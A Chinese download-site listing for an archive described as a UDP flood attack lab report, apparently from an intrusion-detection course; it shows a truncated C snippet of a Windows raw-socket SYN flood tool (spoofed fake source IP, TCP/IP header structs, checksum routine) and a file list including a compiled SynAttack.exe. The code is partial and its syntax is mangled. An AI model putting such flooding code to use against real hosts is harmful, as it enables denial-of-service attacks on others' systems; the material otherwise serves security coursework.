• 大小: 18.73MB
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2023-07-13
  • 语言: 其他
  • 标签: udp  flood  

资源简介

编译原理udp flood 攻击实验报告

资源截图

代码片段和文件信息

#include  
#include  
#include  
#include 
#include 
#include 

#pragma comment(lib“ws2_32“) 
#pragma comment(lib“wsock32“) 

#define SEQ 0x28376839 
#define FAKE_IP “111.111.111.111“ // 假源地址IP

USHORT checksum(USHORT *buffer int size); 
int flood(); 

typedef struct tcphdr 

    USHORT th_sport;                        // 16位源端口
    USHORT th_dport;                        // 16目的端口
    unsigned int th_seq;                    // 32位序列号
    unsigned int th_ack;                    // 32位确认号
    unsigned char th_lenres;                // 4位首部长度/6位保留字
    unsigned char th_flag;                  // 6位标志位
    USHORT th_win;                          // 16位窗口大小
    USHORT th_sum;                          // 16位校验和
    USHORT th_urp;                          // 16位紧急数据偏移量
}TCP_HEADER;                                // TCP头部结构

typedef struct iphdr 

    unsigned char h_verlen;            // 4位首部长度+4位IP版本号
    unsigned char tos;                 // 8位服务类型TOS 
    unsigned short total_len;          // 16位总长度
    unsigned short ident;              // 16位标识
    unsigned short frag_and_flags;     // 3位标志位+13报片偏移
    unsigned char ttl;                 // 8位生存时间
    unsigned char proto;               // 8位协议
    unsigned short checksum;           // 16位IP首部校验和
    unsigned int sourceIP;             // 32位源IP地址
    unsigned int destIP;               // 32位目的IP地址
}IP_HEADER;                            // IP头部结构

///////////////////////////////////////////////////////////////////////////////////
//
//由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有
//效性,在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和。
//
///////////////////////////////////////////////////////////////////////////////////
struct 

    unsigned long saddr;                 // 源地址
    unsigned long daddr;                 // 目的地址
    char mbz;                            // 置空
    char ptcl;                           // 协议类型
    unsigned short tcpl;                 // TCP长度
}PSD_HEADER; 

WSADATA wsaData; 
SOCKET sockMain = (SOCKET) NULL; 
int ErrorCode=0flag=trueTimeOut=2000FakeIpNetFakeIpHostdataSize=0SendSEQ=0; 
unsigned short activPort=40000; 
struct sockaddr_in sockAddr; 
TCP_HEADER tcpheader; 
IP_HEADER ipheader; 
char sendBuf[128]; 

////////////////////////////////////////////////////////////////////////////////////////////
//
// IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0)
// 然后计算整个IP首部(包括选项)的二进制反码的和。
//
////////////////////////////////////////////////////////////////////////////////////////////
USHORT checksum(USHORT *buffer int size) 

    unsigned long cksum=0; 
    while(size >1) { 
        cksum+=*buffer++; 
        size-=sizeof(USHORT); 
    } 
    if(size) cksum+=*(UCHAR*)buffer; 
    cksum=(cksum >> 16)+(cksum&0xffff); 
    cksum+=(cksum >>16); 
    return (USHORT)(~cksum); 



int main() 
{
    std::string portStr ipStr;
    std::cout<<“输入IP地址:“<

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2013-05-18 17:26  潘俊100410527入侵检测\
     目录           0  2013-05-18 17:26  潘俊100410527入侵检测\SYN FLOOD攻击源代码\
     目录           0  2013-05-18 17:26  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\
     文件       44274  2013-05-17 22:20  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\CL.read.1.tlog
     文件         338  2013-05-17 22:20  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\CL.write.1.tlog
     文件      571904  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\SynAttack.exe
     文件         406  2013-05-15 21:18  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\SynAttack.exe.embed.manifest
     文件         472  2013-05-16 17:11  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\SynAttack.exe.embed.manifest.res
     文件         381  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\SynAttack.exe.intermediate.manifest
     文件     1544912  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\SynAttack.ilk
     文件          45  2013-05-18 15:13  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\SynAttack.lastbuildstate
     文件         838  2013-05-18 15:13  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\SynAttack.log
     文件      350711  2013-05-17 22:20  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\SynAttack.obj
     文件         214  2013-05-15 21:18  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\SynAttack_manifest.rc
     文件        1260  2013-05-17 22:20  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\cl.command.1.tlog
     文件           2  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\link-cvtres.read.1.tlog
     文件           2  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\link-cvtres.write.1.tlog
     文件           2  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\link.2872-cvtres.read.1.tlog
     文件           2  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\link.2872-cvtres.write.1.tlog
     文件           2  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\link.2872.read.1.tlog
     文件           2  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\link.2872.write.1.tlog
     文件        2610  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\link.command.1.tlog
     文件        6874  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\link.read.1.tlog
     文件         910  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\link.write.1.tlog
     文件         682  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\mt.command.1.tlog
     文件         506  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\mt.read.1.tlog
     文件         202  2013-05-18 14:58  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\mt.write.1.tlog
     文件         870  2013-05-16 17:11  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\rc.command.1.tlog
     文件         450  2013-05-16 17:11  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\rc.read.1.tlog
     文件         362  2013-05-16 17:11  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\rc.write.1.tlog
     文件      814080  2013-05-17 22:20  潘俊100410527入侵检测\SYN FLOOD攻击源代码\Debug\vc100.idb
............此处省略19个文件信息

评论

共有 条评论